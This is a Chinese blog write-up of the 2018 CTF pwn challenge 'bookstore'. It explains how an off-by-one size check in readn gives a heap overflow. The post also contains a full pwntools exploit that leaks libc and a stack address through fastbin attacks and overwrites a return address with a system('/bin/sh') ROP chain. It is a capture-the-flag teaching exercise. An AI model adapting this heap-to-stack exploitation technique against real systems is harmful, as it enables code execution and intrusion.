前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >CTF PWN之堆漏洞转化为栈漏洞利用——bookstore

CTF PWN之堆漏洞转化为栈漏洞利用——bookstore

作者头像
用户1423082
发布2024-12-31 18:36:37
发布2024-12-31 18:36:37
7800
代码可运行
举报
文章被收录于专栏:giantbranch's blog
运行总次数:0
代码可运行

题目:https://github.com/giantbranch/CTF_PWN/tree/master/2018/tie3/bookstore

保护措施,NX还有got表不可写

代码语言:javascript
代码运行次数:0
复制
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL

一开始连漏洞的发现不了,后来同事说了才发现readn一开始将size减一了,那我们输入0,那就可以堆溢出了

代码语言:javascript
代码运行次数:0
复制
__int64 __fastcall readn(__int64 a1, int a2)
{
  __int64 result; // rax
  unsigned int v3; // eax
  unsigned __int8 buf; // [rsp+1Bh] [rbp-5h]
  unsigned int v5; // [rsp+1Ch] [rbp-4h]

  v5 = 0;
  while ( 1 )
  {
    result = (unsigned int)(a2 - 1);
    if ( (unsigned int)result <= v5 )
      break;
    read(0, &buf, 1uLL);
    result = buf;
    if ( buf == 10 )
      break;
    v3 = v5++;
    *(_BYTE *)(a1 + v3) = buf;
  }
  return result;
}

整体思路如下: 1、通过堆溢出构造一个small bin大小的size,free之后就可以泄露libc了 2、通过fastbin attack,控制malloc的返回值到bss段的books,覆盖book name指针,泄露environ里面存的值,即泄露了栈地址 3、最后在add book的时候发现一个0x40的fake fastbin size,所以后面直接利用fastbin attack将malloc的返回值控制到栈上,覆盖返回地址即可,一开始试了所有one_gadget都不行,最后直接pop rdi ret;system直接起shell

成功结果:

exp:

代码语言:javascript
代码运行次数:0
复制
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-12-08 19:39:57
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://www.giantbranch.cn/
# @tags : 

from pwn import *
# context.log_level = "debug"
p = process("./bookstore")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

environ_offset = libc.symbols['environ']

book_addr = 0x602060

# local libc
# environ_offset = 0x3c6f38
main_arena_offset = 0x3c4b20
# one_gadget_offset = 0xf02a4
one_gadget_offset = 0xf1147

# 0x0000000000400cd3 : pop rdi ; ret
pop_rdi_ret = 0x0000000000400cd3



def add_book(author, size, bookname):
	p.recvuntil("Your choice:\n")
	p.sendline("1")
	p.recvuntil("What is the author name?\n")
	p.sendline(author)
	p.recvuntil("How long is the book name?\n")
	p.sendline(str(size))
	p.recvuntil("What is the name of the book?\n")
	p.sendline(bookname)

def sellbook(index, ):
	p.recvuntil("Your choice:\n")
	p.sendline("2")
	p.recvuntil("Which book do you want to sell?\n")
	p.sendline(str(index))



def readbook(index):
	p.recvuntil("Your choice:\n")
	p.sendline("3")
	p.recvuntil("Which book do you want to sell?\n")
	p.sendline(str(index))


def getpid():
	print proc.pidof(p)[0]
	pause()


add_book(p64(0) + p64(0x21) , 0, "a" * 8)
add_book("B", 0, "b" * 8)
add_book("C", 0, "c" * 8)
add_book("D", 0x50, "d" * 8)
add_book("e", 0x50, p64(0) + p64(0x51))


# overflow B to C and leak libc
sellbook(1)
add_book("a", 0, p64(0) * 3 + p64(0x91))
sellbook(2)
add_book("b", 0, "a" * 8)
readbook(2)
p.recvuntil("a" * 8)
main_arena_near = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "main_arena_near = " + hex(main_arena_near)
main_arena_addr = main_arena_near - 0xd8
print "main_arena_addr = " + hex(main_arena_addr)
libc_addr = main_arena_addr - main_arena_offset
print "libc_addr = " + hex(libc_addr)
one_gadget_addr = libc_addr + one_gadget_offset
print "one_gadget_addr = " + hex(one_gadget_addr)
environ_addr = libc_addr + environ_offset
print "environ_addr = " + hex(environ_addr)


# 计算system和/bin/sh的地址
print "\ncalculating system() addr and \"/bin/sh\" addr ... ###"
system_addr = libc_addr + libc.symbols['system']
print "system_addr = " + hex(system_addr)
binsh_addr = libc_addr +  next(libc.search("/bin/sh"))
print "binsh_addr = " + hex(binsh_addr)
# getpid()
# 泄露environ中的值
sellbook(2)
sellbook(1)
add_book("a", 0, p64(0) * 3 + p64(0x21) + p64(book_addr))
add_book("a", 0, p64(0))
## 覆盖bookname指针
add_book("a", 0, p64(0) * 2 + p64(environ_addr))
readbook(0)

p.recvuntil("Bookname:")
stack_addr = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "stack_addr = " + hex(stack_addr)

stack_offset_40 = stack_addr - 310


# getpid()
# 
add_book("a", 0x50, "test")

add_book("a", 0, "test1")
add_book("a", 0, "test2")
add_book("a", 0, "test3")


sellbook(7)
add_book("a", 0, p64(0) * 3 + p64(0x41) + p64(stack_offset_40))
sellbook(8)
sellbook(7)
add_book("a", 0, p64(0) * 3 + p64(0x41) + p64(stack_offset_40))

add_book("a", 0x30, "1")
print "stack_addr = " + hex(stack_addr)
print "stack_offset_40 = " + hex(stack_offset_40)
# getpid()
# 写返回地址为rop
# payload = "a" * 22 + p64(one_gadget_addr)
payload = "a" * 22 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
add_book("a", 0x30, payload)



p.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-12-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档